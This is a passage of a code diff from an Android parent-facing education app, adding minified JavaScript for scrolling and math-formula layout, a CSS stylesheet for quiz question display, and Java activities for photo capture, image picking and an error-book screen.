n=1,r=i.length,s=0,o=Math.abs(i[0]-c),a;for(;n<r;n++){a=Math.abs(i[n]-c);if(a<o){o=a;s=n}}u=s;d(s)},200)},wheelHandler:function(e,t){e.preventDefault();t=t||-e.originalEvent.detail/3||e.originalEvent.wheelDelta/120;if(l){clearTimeout(l)}l=setTimeout(function(){if(t<0){if(u<i.length-1){u++}}else if(t>0){if(u>0){u--}}if(u>=0){d(u)}else{u=0}},25)},keyHandler:function(e){e.preventDefault();if(e.keyCode==38){if(u>0){u--}d(u)}else if(e.keyCode==40){if(u<i.length-1){u++}d(u)}},init:function(){if(p.scrollbars){e(t).bind("mousedown",v.handleMousedown);e(t).bind("mouseup",v.handleMouseup);e(t).bind("scroll",v.handleScroll)}else{e("body").css({overflow:"hidden"})}e(n).bind("DOMMouseScroll mousewheel",v.wheelHandler);e(n).bind("keyup",v.keyHandler)}};var m={touches:{touchstart:{y:-1},touchmove:{y:-1},touchend:false,direction:"undetermined"},options:{distance:30,timeGap:800,timeStamp:(new Date).getTime()},touchHandler:function(e){var t;if(typeof e!=="undefined"){e.preventDefault();if(typeof e.touches!=="undefined"){t=e.touches[0];switch(e.type){case"touchstart":m.options.timeStamp=(new Date).getTime();m.touches.touchend=false;case"touchmove":m.touches[e.type].y=t.pageY;if(m.options.timeStamp+m.options.timeGap<(new Date).getTime()&&m.touches.touchend==false){m.touches.touchend=true;if(m.touches.touchstart.y>-1){if(Math.abs(m.touches.touchmove.y-m.touches.touchstart.y)>m.options.distance){if(m.touches.touchstart.y<m.touches.touchmove.y){if(u>0){u--}d(u)}else{if(u<i.length-1){u++}d(u)}}}}break;case"touchend":if(m.touches[e.type]==false){m.touches[e.type]=true;if(m.touches.touchstart.y>-1){if(Math.abs(m.touches.touchmove.y-m.touches.touchstart.y)>m.options.distance){if(m.touches.touchstart.y<m.touches.touchmove.y){if(u>0){u--}d(u)}else{if(u<i.length-1){u++}d(u)}}}};default:break}}}},init:function(){if(n.addEventListener){n.addEventListener("touchstart",m.touchHandler,false);n.addEventListener("touchmove",m.touchHandler,false);n.addEventListener("touchend",m.touchHandler,false)}}};if(typeof r==="string"){var g=s.length;for(;g>=0;g--){if(typeof arguments[1]==="string"){if(s[g]==arguments[1]){u=g;d(g)}}else{if(g==arguments[1]){u=g;d(g)}}}}else{p=e.extend(p,r);e(p.section).each(function(t){if(t>0){i[t]=e(this).offset().top+p.offset}else{i[t]=e(this).offset().top}if(p.sectionName&&e(this).data(p.sectionName)){s[t]="#"+e(this).data(p.sectionName).replace(/ /g,"-")}else{s[t]="#"+(t+1)}o[t]=e(this);if(a==s[t]){u=t;f=true}});if(f==false&&p.sectionName){t.location.hash=s[0]}else{d(u)}v.init();m.init()}}})(jQuery,this,document)
0 7 \ No newline at end of file
... ...
app/src/main/assets/library.js
... ... @@ -0,0 +1,8 @@
  1 +var htmlLatexRender=function(){function h(a){return Math.max(a.clientHeight,a.scrollHeight)}function d(a,c){return null==a||1!=a.nodeType?null:a.getAttribute(c)}function l(a,c,b){switch(typeof c){case "object":for(var e in c)a.style[e]=c[e];break;case "string":a.style[c]=b}}function m(a,c){if(null==a)return null;try{if(!0==c){var b=a.parentNode;if(b.nextElementSibling)return b.nextElementSibling;for(;b=b.nextSibling;)if(1==b.nodeType)return b}else{if(a.nextElementSibling)return a.nextElementSibling;
  2 +for(;a=a.nextSibling;)if(1==a.nodeType)return a}}catch(e){}return null}function k(a,c){if(null!=a&&null!=c){var b=a.children||a.childNodes;c(a);for(var e=0;e<b.length;e++)k(b[e],c)}}function g(a,c,b,e){if(null!=a){++e;for(var f=a.children||a.childNodes,d=0;d<f.length;d++)a=f[d],1==a.nodeType&&(b(a)&&c.push({n:a,d:e}),g(a,c,b,e))}}function n(a){var c=[],b=0;g(a,c,function(a){if(d(a,"hassize"))return!0},0);for(b=0;b<c.length;b++)c[b].h=h(c[b].n.parentNode),c[b].w=Math.max(c[b].n.parentNode.clientWidth,
  3 +c[b].n.parentNode.scrollWidth),c[b].s=parseInt(d(c[b].n,"hassize")),c[b].f=d(c[b].n,"dealflag");for(b=0;b<c.length;b++)if(0>c[b].s)switch(a=d(c[b].n,"mathtag"),a){case "msup_sup":q(c[b]);break;case "msub_sub":r(c[b]);break;case "msubsup_sup":s(c[b])}else t(c[b])}function t(a){var c=[],b;g(a.n,c,function(a){if(d(a,"muststretch"))return!0},0);if(!(1>c.length))if(b=d(c[0].n,"muststretch"),"v"==b){if(b=(a.h-a.s)/c.length,0<b)for(a=0;a<c.length;a++)c[a].n.style.height=b+"px"}else if(b=(a.w-a.s)/c.length,
  4 +0<b)for(a=0;a<c.length;a++)c[a].n.style.width=b+"px"}function s(a){var c=m(a.n),b=h(a.n),e=h(c);a=a.h-(b+e);0<a&&l(c,"marginTop",a+"px")}function q(a){if(a.f){var c=h(a.n.parentNode);0<c&&l(a.n,"verticalAlign",3*c/4+"px")}}function r(a){a.f&&0<h(a.n.parentNode)&&l(a.n,"verticalAlign","-100%")}function p(a){if(!(null==a||8==a.nodeType||1>a.childNodes.length||/input|form|math|iframe|textarea|pre|svg/.test(a.nodeName)))for(var c,b,e,f,d=a.childNodes.length-1;-1<d;d--)if(3!=a.childNodes[d].nodeType)p(a.childNodes[d]);
  5 +else{c=a.childNodes[d].nodeValue.replace(/sin/g,"\u253d").replace(/cos/g,"\u253e").replace(/tan/g,"\u253f").replace(/lim/g,"\u2540");c=c.replace(/\-/g,"\u2212").replace(/=/g,"\uff1d").replace(/\\+/g,"\uff0b");b=document.createDocumentFragment();for(var g=0;g<c.length;g++){f=c.charAt(g);switch(f){case "\u253d":f="sin";break;case "\u253e":f="cos";break;case "\u253f":f="tan";break;case "\u2540":f="lim";break;default:if(/[a-z]/i.test(f)){e=document.createElement("font");e.className="MathJye_mi";e.appendChild(document.createTextNode(f));
  6 +b.appendChild(e);continue}}b.appendChild(document.createTextNode(f))}a.replaceChild(b,a.childNodes[d])}}this.LayOut=function(a,c){for(var b=a.getElementsByTagName("span"),e=0;e<b.length;e++)"math"==d(b[e],"mathtag")&&(p(b[e]),c&&k(b[e],function(a){if(1==a.nodeType)switch(d(a,"muststretch")){case "v":a.style.height="1px";break;case "h":a.style.width="1px"}}),"1"==d(b[e],"dealflag")&&n(b[e]))}},MathJye=Object;try{MathJye=new htmlLatexRender}catch(e$$14){}
  7 +(function(){var h=!(!window.attachEvent||window.opera),d=/webkit\/(\d+)/i.test(navigator.userAgent)&&525>RegExp.$1,l=[],m=function(){for(var d=0;d<l.length;d++)l[d]()},k=document;k.ready=function(g){if(!h&&!d&&k.addEventListener)return k.addEventListener("DOMContentLoaded",g,!1);if(!(1<l.push(g)))if(h)(function(){try{k.documentElement.doScroll("left"),m()}catch(d){setTimeout(arguments.callee,0)}})();else if(d)var n=setInterval(function(){/^(loaded|complete)$/.test(k.readyState)&&(clearInterval(n),
  8 +m())},0)}})();document.ready(function(){try{MathJye.LayOut(document.body)}catch(h){}});
... ...
app/src/main/assets/point.png

17.3 KB

app/src/main/assets/style.css
... ... @@ -0,0 +1,99 @@
  1 +body{font-family: "微软雅黑", Arial,"宋体"; font-size: 14px; line-height: 1.5em; color: #333;}
  2 +a{ text-decoration: none; color: #2489f6;}
  3 +dl, ul, ol, ul { list-style: none; padding: 0; margin: 0; }
  4 +.wrapper{ width: 1200px; margin: 0 auto; }
  5 +.ques-detail{}
  6 +.ques-detail ul li{margin-bottom: 20px;border: 1px solid #dadada;background: #fff;border-radius: 10px;}
  7 +.ques-detail ul li:last-child{ margin-bottom: 0; }
  8 +
  9 +table.edittable{ border-collapse: collapse; text-align: center; margin: 2px; }
  10 +table.edittable th, table.edittable td{ line-height: 30px; padding: 5px; white-space: normal; word-break: break-all; border: 1px solid #000; vertical-align: middle; }
  11 +table.composition{ border-collapse: collapse; text-align: left; margin: 2px; width: 98%; }
  12 +table.composition th, table.composition td{ line-height: 30px; white-space: normal; word-break: break-all; border-width: 0px; vertical-align: middle; }
  13 +table.composition2{ border-collapse: collapse;width:auto }
  14 +table.composition2 th, table.composition2 td{text-align:left;line-height:30px; white-space:normal;word-break:break-all;border:none;border-width: 0px;vertical-align: middle; }
  15 +.MathJye{ border: 0 none; direction: ltr; line-height: normal; display: inline-block; float: none; font-family: 'Times New Roman','宋体'; font-size: 15px; font-style: normal; font-weight: normal; letter-spacing: 1px; line-height: normal; margin: 0; padding: 0; text-align: left; text-indent: 0; text-transform: none; white-space: nowrap; word-spacing: normal; word-wrap: normal; -webkit-text-size-adjust: none; }
  16 +.MathJye div, .MathJye span{ border: 0 none; margin: 0; padding: 0; line-height: normal; text-align: left; height: auto; _height: auto; white-space: normal; }
  17 +.MathJye table{ border-collapse: collapse; margin: 0; padding: 0; text-align: center; vertical-align: middle; line-height: normal; font-size: inherit; *font-size: 100%; _font-size: 100%; font-style: normal; font-weight: normal; border: 0; float: none; display: inline-block; *display: inline; zoom: 0; }
  18 +.MathJye table td{ padding: 0; font-size: inherit; line-height: normal; white-space: nowrap; border: 0 none; width: auto; _height: auto; }
  19 +.MathJye_mi{ font-style: italic; }
  20 +.flipv{-ms-transform: scaleX(-1);-moz-transform: scaleX(-1);-webkit-transform: scaleX(-1);-o-transform: scaleX(-1);transform: scaleX(-1);filter: FlipH;}
  21 +.fliph{-ms-transform: scaleY(-1);-moz-transform: scaleY(-1);-webkit-transform: scaleY(-1);-o-transform: scaleY(-1);transform: scaleY(-1);filter: FlipV;}
  22 +.mathjye-bold{font-weight:800}
  23 +.mathjye-del{text-decoration:line-through}
  24 +.mathjye-underline{border-bottom:1px solid #000;padding-bottom:2px;}
  25 +@-moz-document url-prefix() {.mathjye-underline{padding-bottom:0px;}}
  26 +.mathjye-underpline{border-bottom:2px dotted #000; padding-bottom:3px;}
  27 +@-moz-document url-prefix() {.mathjye-underpline {padding-bottom:1px;}}
  28 +.mathjye-underpoint{background: url(http://img.jyeoo.net/images/formula/point.png) no-repeat center bottom; padding-bottom:4px;}
  29 +.mathjye-underpoint2{border-bottom:2px dotted #000; padding-bottom:3px;}
  30 +@-moz-document url-prefix() {.mathjye-underpoint{padding-bottom:1px;}}
  31 +.mathjye-underwave{background: url(http://img.jyeoo.net/images/formula/wave.png) bottom repeat-x; padding-bottom:4px;}
  32 +@-moz-document url-prefix() {.mathjye-underwave {padding-bottom:1px;}}
  33 +.mathjye-alignleft{display:block;text-align:left;}
  34 +.mathjye-aligncenter{display:block;text-align:center;}
  35 +.mathjye-alignright{display:block;text-align:right;}
  36 +
  37 +
  38 +/*试题*/
  39 +.artpreview fieldset { padding-top: 10px; font-size: 14px; clear: both; overflow: hidden; zoom: 1; line-height: 24px; font-family: 'Times New Roman',宋体,sans-serif; position: relative; }
  40 +.artpreview fieldset legend { padding: 5px 0; display: block; margin: 5px; background: #f1f1f1; color: #000; overflow: hidden; zoom: 1; }
  41 +.queserror { border: 1px dotted #f00; padding: 2px; }
  42 +fieldset.quesborder {display: block;padding: 0;line-height: 25px;letter-spacing: 1px;word-break: break-all;margin: 0;}
  43 +fieldset.queserror { border: 1px solid #f00; font-size: 12px; padding: 2px; margin-bottom: 1px; }
  44 +fieldset.quesborder td, fieldset.queserror td { line-height: 16px; }
  45 +fieldset.quesborder em, fieldset.queserror em { font-style: normal; font-weight: bold; position: absolute; left: 20px; }
  46 +fieldset.thiserror1 { border: 1px solid #f00; }
  47 +fieldset.thiserror1 legend { border: 4px solid #f00; }
  48 +fieldset.thiserror2 { border: 1px solid #ADCD3C; }
  49 +fieldset.thiserror2 legend { border: 4px solid #ADCD3C; }
  50 +fieldset.thisques { border: 1px solid blue; }
  51 +fieldset.thison { border: 1px solid #A9C9E2; }
  52 +fieldset.thison div.border { border: 1px solid #ADCD3C; background-color: #F2FDDB; }
  53 +fieldset, img { border: 0 none; }
  54 +table.thison { border: 1px solid #00F; }
  55 +table.thiserr { border: 1px solid #F00; }
  56 +fieldset.thisvip1 { border: 1px solid #00F; }
  57 +fieldset.thisvip1 legend { border: 4px solid #00F; }
  58 +fieldset.status17 { border: 1px solid #ff00ff; }
  59 +fieldset.status17 legend { border: 4px solid #ff00ff; }
  60 +.selectoption { vertical-align: middle; font-size: 14px; padding: 2px; }
  61 +.selectoption:hover { color: #EA8511; }
  62 +.selectoption label { padding: 4px; line-height: 24px; }
  63 +fieldset.quesbordere { border: 2px dotted #f00; }
  64 +.answer { border: 1px dotted #ffffff; }
  65 +ol.answer li, ul.answer li { padding: 1px; font-size: 14px; }
  66 +ol.answer li:hover { background: #f2f2f2; }
  67 +.collapseContainerPanel { border: 0; }
  68 +.collapsePanelHeader { height: 30px; font-weight: bold; padding: 6px 0 0 0; }
  69 +.collapseHeaderContent { float: left; padding-left: 5px; }
  70 +.collapseContent { margin: 0; padding: 0; border: 1px solid #ccc; border-top: 0; }
  71 +.pt0 { padding: 2px 0 5px 0; font-size: 14px; font-family: "黑体",sans-serif; font-weight: 700; }
  72 +.pt1 {overflow: hidden;zoom: 1;clear: both;line-height: 25px;font-size: 14px;padding: 20px;position: relative;word-break: break-word;}
  73 +fieldset.quesborder .pt1 em { position: static; }
  74 +.pt1 img { position: relative; }
  75 +.pt2 {padding: 20px;padding-top: 0;}
  76 +.pt3, .pt4, .pt5, .pt6, .pt7 { clear: both; zoom: 1; position: relative; padding: 0px 20px 20px 80px; }
  77 +.pt8 a:link, .pt8 a:visited { margin-right: 10px; padding: 2px 5px; }
  78 +.pt8 a:hover { background: #fc0; }
  79 +.pt9 { padding: 20px; border: 0 none; color: #999999; font-size: 12px; }
  80 +.fieldtip {height: 36px;line-height: 36px;background-color: #f4f4f4;border-top: 1px solid #dadada;padding: 0 20px;color: #666666;position: relative;font-size: 12px;border-radius: 0 0 10px 10px;}
  81 +.newFieldtip .pt1, .newFieldtip .pt2, .newFieldtip .pt3, .newFieldtip .pt4, .newFieldtip .pt5, .newFieldtip .pt6, .newFieldtip .pt7, .newFieldtip .pt8, .newFieldtip.pt9, .newFieldtip + .fieldtip { padding: 0; }
  82 +fieldset img { max-width: 100%; }
  83 +
  84 +.fieldtip-left {float: left;}
  85 +.fieldtip-left >* {margin-right: 20px;}
  86 +.fieldtip-right { float: right; }
  87 +.fieldtip-right>* { margin-left: 20px; display: inline-block; color: #666666; }
  88 +.fieldtip .btn {display: inline-block;margin-bottom: 0;font-weight: normal;text-align: center;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;background-image: none;border: 1px solid transparent;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;font-size: 14px;border-radius: 4px;color: #ffffff;background-color: #ff8a00;line-height: 18px;min-width: 28px;padding: 0 5px;}
  89 +.fieldtip .btn:hover, .fieldtip .btn:active, .fieldtip .btn:active:hover, .fieldtip .btn:hover { color: #ffffff; background-color: #faad4a; }
  90 +
  91 +/*填空题*/
  92 +div.quizPutTag { display: inline-block; *display: inline; padding: 3px 10px 1px 10px; margin: 0 3px; font-size: 14px; min-width: 1em; min-height: 16px; line-height: 18px; height: auto; border-bottom: 1px solid #0033FF; text-decoration: none; zoom: 1; color: #127176; word-break: break-all; }
  93 +div.quizPutTag:hover { color: #f60; }
  94 +div.quizPutTag img { cursor: pointer; width: 200px; margin-left: 10px; }
  95 +.sanwser { padding: 4px 10px; margin: 0px; border: 1px solid #ADCD3C; background-color: #F2FDDB; color: #000; display: none; }
  96 +/*答案*/
  97 +.selectoption label.s, div.s { border: 1px solid #91cbed; background-color: #deeeff; display: inline-block; }
  98 +.selectoption label.s.sh, div.s.sh { margin: 1px; border: none; background: none; }
  99 +del { text-decoration: none; color: #f00; font-style: normal; font-weight: normal; }
0 100 \ No newline at end of file
... ...
app/src/main/assets/wave.png

17.3 KB

app/src/main/java/com/hjx/parent/AddSuccessActivity.java
... ... @@ -0,0 +1,156 @@
  1 +package com.hjx.parent;
  2 +
  3 +import android.content.Intent;
  4 +import android.graphics.Bitmap;
  5 +import android.graphics.BitmapFactory;
  6 +import android.net.Uri;
  7 +import android.os.Bundle;
  8 +import android.provider.MediaStore;
  9 +import android.text.TextUtils;
  10 +import android.util.Log;
  11 +import android.view.LayoutInflater;
  12 +import android.view.View;
  13 +
  14 +import androidx.annotation.Nullable;
  15 +import androidx.core.content.FileProvider;
  16 +
  17 +import com.hjx.parent.databinding.ActivityAddSuccessBinding;
  18 +import com.prws.common.utils.BitmapUtils;
  19 +import com.prws.common.utils.CommonUtil;
  20 +import com.prws.common.utils.dialog.MyButtomDialog;
  21 +import com.zhangteng.imagepicker.bean.ImageInfo;
  22 +import com.zhangteng.imagepicker.config.ImagePickerConfig;
  23 +import com.zhangteng.imagepicker.config.ImagePickerEnum;
  24 +import com.zhangteng.imagepicker.config.ImagePickerOpen;
  25 +import com.zhangteng.imagepicker.imageloader.GlideImageLoader;
  26 +import com.zhangteng.utils.IHandlerCallBack;
  27 +
  28 +import java.io.File;
  29 +import java.util.ArrayList;
  30 +import java.util.List;
  31 +
  32 +public class AddSuccessActivity extends BaseActivity<ActivityAddSuccessBinding> {
  33 + private int REQUEST_CODE_IMAGE = 123;
  34 + private String filePath;
  35 +
  36 + @Override
  37 + public void initView(Bundle savedInstanceState) {
  38 + binding.ivBack.setOnClickListener(new View.OnClickListener() {
  39 + @Override
  40 + public void onClick(View v) {
  41 + finish();
  42 + }
  43 + });
  44 + binding.tvAdd.setOnClickListener(new View.OnClickListener() {
  45 + @Override
  46 + public void onClick(View v) {
  47 + MyButtomDialog dialog = new MyButtomDialog(context, R.style.BottomSheetDialog);
  48 + View bottomView = LayoutInflater.from(context).inflate(R.layout.bottom_sheet_layout, null);
  49 + dialog.setContentView(bottomView);
  50 + bottomView.findViewById(R.id.take_photo).setOnClickListener(new View.OnClickListener() {
  51 + @Override
  52 + public void onClick(View view) {
  53 + dialog.dismiss();
  54 + Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
  55 + //确保有相机来处理Intent
  56 + filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  57 + File photoFile = new File(filePath);
  58 + if (photoFile != null) {
  59 + //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
  60 + Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
  61 + takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
  62 + takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
  63 + activity.startActivityForResult(takePictureIntent, REQUEST_CODE_IMAGE);
  64 + }
  65 + }
  66 + });
  67 + bottomView.findViewById(R.id.choose_photo).setOnClickListener(new View.OnClickListener() {
  68 + @Override
  69 + public void onClick(View view) {
  70 + dialog.dismiss();
  71 + ImagePickerConfig imagePickerConfig = new ImagePickerConfig.Builder().provider(getPackageName() + ".fileprovider").imageLoader(new GlideImageLoader()) //图片加载器
  72 + .iHandlerCallBack(new HandlerCallBack()) //图片选择器生命周期监听(直接打开摄像头时无效)
  73 + .multiSelect(true) //是否多选
  74 + .isShowCamera(false).isVideoPicker(false) //是否选择视频 默认false
  75 + .isImagePicker(true).imagePickerType(ImagePickerEnum.PHOTO_PICKER) //选择器打开类型
  76 + .maxImageSelectable(9) //图片可选择数
  77 + .maxHeight(1920) //图片最大高度
  78 + .maxWidth(1920) //图片最大宽度
  79 + .maxImageSize(10) //图片最大大小Mb
  80 + .isCrop(false).pathList(new ArrayList<>()).pickerThemeColorRes(R.color.image_picker_white).pickerTitleColorRes(R.color.image_picker_text_black).cropThemeColorRes(R.color.image_picker_white).cropTitleColorRes(R.color.image_picker_text_black).pickerBackRes(R.mipmap.image_picker_back_black).pickerFolderRes(R.mipmap.image_picker_folder_black).build();
  81 + ImagePickerOpen.getInstance().setImagePickerConfig(imagePickerConfig).pathList(new ArrayList<>()).open(AddSuccessActivity.this);
  82 +
  83 + }
  84 + });
  85 + bottomView.findViewById(R.id.cancel).setOnClickListener(new View.OnClickListener() {
  86 + @Override
  87 + public void onClick(View view) {
  88 + dialog.dismiss();
  89 + }
  90 + });
  91 + dialog.show();
  92 + }
  93 + });
  94 + }
  95 +
  96 + @Override
  97 + protected ActivityAddSuccessBinding getViewBinding() {
  98 + return ActivityAddSuccessBinding.inflate(getLayoutInflater());
  99 + }
  100 +
  101 + @Override
  102 + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
  103 + super.onActivityResult(requestCode, resultCode, data);
  104 + if (requestCode == REQUEST_CODE_IMAGE && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) {
  105 + Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath));
  106 + String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  107 + CommonUtil.saveBitmapToUri(b, path);
  108 + List<String> strings = new ArrayList<>();
  109 + Intent intent = new Intent(context, ImageActivity.class);
  110 + strings.add(path);
  111 + intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
  112 + startActivity(intent);
  113 + finish();
  114 + }
  115 + }
  116 +
  117 + public class HandlerCallBack implements IHandlerCallBack<ImageInfo> {
  118 + private String TAG = "---ImagePicker---";
  119 + List<ImageInfo> photoList = new ArrayList<>();
  120 +
  121 + @Override
  122 + public void onStart() {
  123 + Log.i(TAG, "onStart: 开启");
  124 + }
  125 +
  126 + @Override
  127 + public void onSuccess(List<ImageInfo> photoList) {
  128 + this.photoList = photoList;
  129 + Log.i(TAG, "onSuccess: 返回数据");
  130 + }
  131 +
  132 + @Override
  133 + public void onCancel() {
  134 + Log.i(TAG, "onCancel: 取消");
  135 + }
  136 +
  137 + @Override
  138 + public void onFinish(List<ImageInfo> selectImage) {
  139 + if (selectImage.size() == photoList.size()) {
  140 + List<String> strings = new ArrayList<>();
  141 + Intent intent = new Intent(context, ImageActivity.class);
  142 + for (ImageInfo imageInfo : selectImage) {
  143 + strings.add(imageInfo.getPath());
  144 + }
  145 + intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
  146 + startActivity(intent);
  147 + finish();
  148 + }
  149 + }
  150 +
  151 + @Override
  152 + public void onError() {
  153 + Log.i(TAG, "onError: 出错");
  154 + }
  155 + }
  156 +}
... ...
app/src/main/java/com/hjx/parent/App.java
... ... @@ -0,0 +1,44 @@
  1 +package com.hjx.parent;
  2 +
  3 +import com.prws.common.CommonApplication;
  4 +import com.prws.common.bean.GradeAndSubject;
  5 +import com.prws.common.utils.SharedPreferencesUtil;
  6 +import com.uuzuche.lib_zxing.activity.ZXingLibrary;
  7 +
  8 +import java.util.List;
  9 +
  10 +public class App extends CommonApplication {
  11 + private static App instance;
  12 +
  13 + public static App getInstance() {
  14 + return instance;
  15 + }
  16 +
  17 + private static String baiduToken;
  18 +
  19 + public static void setBaiduToken(String baiduToken) {
  20 + App.baiduToken = baiduToken;
  21 + }
  22 +
  23 + public static String getBaiduToken() {
  24 + return baiduToken;
  25 + }
  26 +
  27 + private static List<GradeAndSubject> gradeAndSubjects;
  28 +
  29 + public void setGradeAndSubjects(List<GradeAndSubject> gradeAndSubjects) {
  30 + App.gradeAndSubjects = gradeAndSubjects;
  31 + }
  32 +
  33 + public List<GradeAndSubject> getGradeAndSubjects() {
  34 + return gradeAndSubjects;
  35 + }
  36 +
  37 + @Override
  38 + public void onCreate() {
  39 + super.onCreate();
  40 + this.instance = this;
  41 + SharedPreferencesUtil.getInstance(this, "config");
  42 + ZXingLibrary.initDisplayOpinion(this);
  43 + }
  44 +}
... ...
app/src/main/java/com/hjx/parent/BaseActivity.java
... ... @@ -0,0 +1,90 @@
  1 +package com.hjx.parent;
  2 +
  3 +
  4 +import static com.xiasuhuei321.loadingdialog.view.LoadingDialog.Speed.SPEED_TWO;
  5 +
  6 +import android.content.Context;
  7 +import android.graphics.Color;
  8 +import android.os.Bundle;
  9 +import android.view.View;
  10 +import android.view.Window;
  11 +import android.view.WindowManager;
  12 +import android.widget.Toast;
  13 +
  14 +import androidx.annotation.Nullable;
  15 +import androidx.appcompat.app.AppCompatActivity;
  16 +import androidx.viewbinding.ViewBinding;
  17 +
  18 +import com.hjx.parent.dialog.TipDialog;
  19 +import com.xiasuhuei321.loadingdialog.view.LoadingDialog;
  20 +
  21 +
  22 +public abstract class BaseActivity<VB extends ViewBinding> extends AppCompatActivity {
  23 + protected Context context;
  24 + protected AppCompatActivity activity;
  25 + protected VB binding;
  26 + private LoadingDialog dialog;
  27 + private TipDialog tipDialog;
  28 +
  29 + @Override
  30 + protected void onCreate(@Nullable Bundle savedInstanceState) {
  31 + super.onCreate(savedInstanceState);
  32 + binding = getViewBinding();
  33 + setContentView(binding.getRoot());
  34 + showWhiteStatus();
  35 + context = this;
  36 + activity = this;
  37 + initView(savedInstanceState);
  38 + }
  39 +
  40 +
  41 + public void showLoadingDialog(String text) {
  42 + dialog = new LoadingDialog(this);
  43 + dialog.setLoadingText(text)
  44 + .setSuccessText("成功")//显示加载成功时的文字
  45 + .setFailedText("失败")
  46 + .setLoadSpeed(SPEED_TWO)
  47 + .show();
  48 + }
  49 +
  50 + public void loadFail(String text) {
  51 + dialog.setFailedText(text);
  52 + dialog.loadFailed();
  53 + }
  54 +
  55 + public void cancelLoadingDialog() {
  56 + dialog.loadSuccess();
  57 + }
  58 +
  59 + public void showWhiteStatus() {
  60 + Window window = getWindow();
  61 + window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
  62 + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY | View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
  63 + window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
  64 + window.setStatusBarColor(Color.TRANSPARENT);
  65 + }
  66 +
  67 +
  68 + protected void hideBottomUIMenu() {
  69 + Window window = getWindow();
  70 + window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
  71 + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
  72 + | View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY | View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
  73 + window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
  74 + window.setStatusBarColor(Color.TRANSPARENT);
  75 + }
  76 +
  77 + public void showToast(String text) {
  78 + Toast.makeText(App.getInstance().getApplicationContext(), text, Toast.LENGTH_SHORT).show();
  79 + }
  80 +
  81 + public void showTipDialog(String title, String content, String cancel, String confirm, TipDialog.TipDialogInterface tipDialogInterface) {
  82 + tipDialog = new TipDialog(context, title, content, confirm, cancel, tipDialogInterface);
  83 + tipDialog.show();
  84 + }
  85 +
  86 + public abstract void initView(Bundle savedInstanceState);
  87 +
  88 + protected abstract VB getViewBinding();
  89 +
  90 +}
... ...
app/src/main/java/com/hjx/parent/ErrorBookActivity.java
... ... @@ -0,0 +1,298 @@
  1 +package com.hjx.parent;
  2 +
  3 +import android.content.Intent;
  4 +import android.graphics.Bitmap;
  5 +import android.graphics.BitmapFactory;
  6 +import android.net.Uri;
  7 +import android.os.Bundle;
  8 +import android.provider.MediaStore;
  9 +import android.text.TextUtils;
  10 +import android.util.Log;
  11 +import android.view.LayoutInflater;
  12 +import android.view.View;
  13 +import android.view.ViewGroup;
  14 +import android.widget.LinearLayout;
  15 +
  16 +import androidx.annotation.NonNull;
  17 +import androidx.annotation.Nullable;
  18 +import androidx.core.content.FileProvider;
  19 +import androidx.recyclerview.widget.LinearLayoutManager;
  20 +import androidx.recyclerview.widget.RecyclerView;
  21 +
  22 +import com.chad.library.adapter.base.BaseQuickAdapter;
  23 +import com.chad.library.adapter.base.BaseViewHolder;
  24 +import com.google.gson.Gson;
  25 +import com.hjx.parent.adapter.ErrorAdapter;
  26 +import com.hjx.parent.bean.StudentBean;
  27 +import com.hjx.parent.databinding.ActivityErrorBookBinding;
  28 +import com.prws.common.base.BasePresenter;
  29 +import com.prws.common.bean.ImageBean;
  30 +import com.prws.common.bean.PageInfo;
  31 +import com.prws.common.bean.ResponseResult;
  32 +import com.prws.common.bean.TopicBean;
  33 +import com.prws.common.net.NetWorks;
  34 +import com.prws.common.utils.BitmapUtils;
  35 +import com.prws.common.utils.CommonUtil;
  36 +import com.prws.common.utils.SharedPreferencesUtil;
  37 +import com.prws.common.utils.dialog.MyButtomDialog;
  38 +import com.zhangteng.imagepicker.bean.ImageInfo;
  39 +import com.zhangteng.imagepicker.callback.HandlerCallBack;
  40 +import com.zhangteng.imagepicker.config.ImagePickerConfig;
  41 +import com.zhangteng.imagepicker.config.ImagePickerEnum;
  42 +import com.zhangteng.imagepicker.config.ImagePickerOpen;
  43 +import com.zhangteng.imagepicker.imageloader.GlideImageLoader;
  44 +import com.zhangteng.utils.IHandlerCallBack;
  45 +
  46 +import java.io.File;
  47 +import java.util.ArrayList;
  48 +import java.util.Arrays;
  49 +import java.util.HashMap;
  50 +import java.util.List;
  51 +import java.util.Map;
  52 +
  53 +import io.reactivex.Observer;
  54 +import io.reactivex.disposables.Disposable;
  55 +
  56 +public class ErrorBookActivity extends BaseActivity<ActivityErrorBookBinding> {
  57 + StudentBean studentBean;
  58 + private int subject;
  59 + private ErrorAdapter adapter;
  60 + private int REQUEST_CODE_IMAGE = 123;
  61 + private String filePath;
  62 +
  63 + @Override
  64 + public void initView(Bundle savedInstanceState) {
